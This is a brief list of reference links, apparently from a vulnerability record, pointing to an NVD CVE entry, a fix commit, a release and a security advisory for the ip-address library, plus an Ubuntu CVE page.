nvd.nist.gov/vuln/detail/CVE-2026-69192
github.com/beaugunderson/ip-address/commit/56368cb3d66c73ba0ee9b6b834fd31b22c2fd71e
github.com/beaugunderson/ip-address/releases/tag/v10.3.1
github.com/beaugunderson/ip-address/security/advisories/GHSA-mwp4-54f8-5fhr
ubuntu.com/security/CVE-2026-48801
Left out here: the rest of 2 source descriptions. The JSON record has them.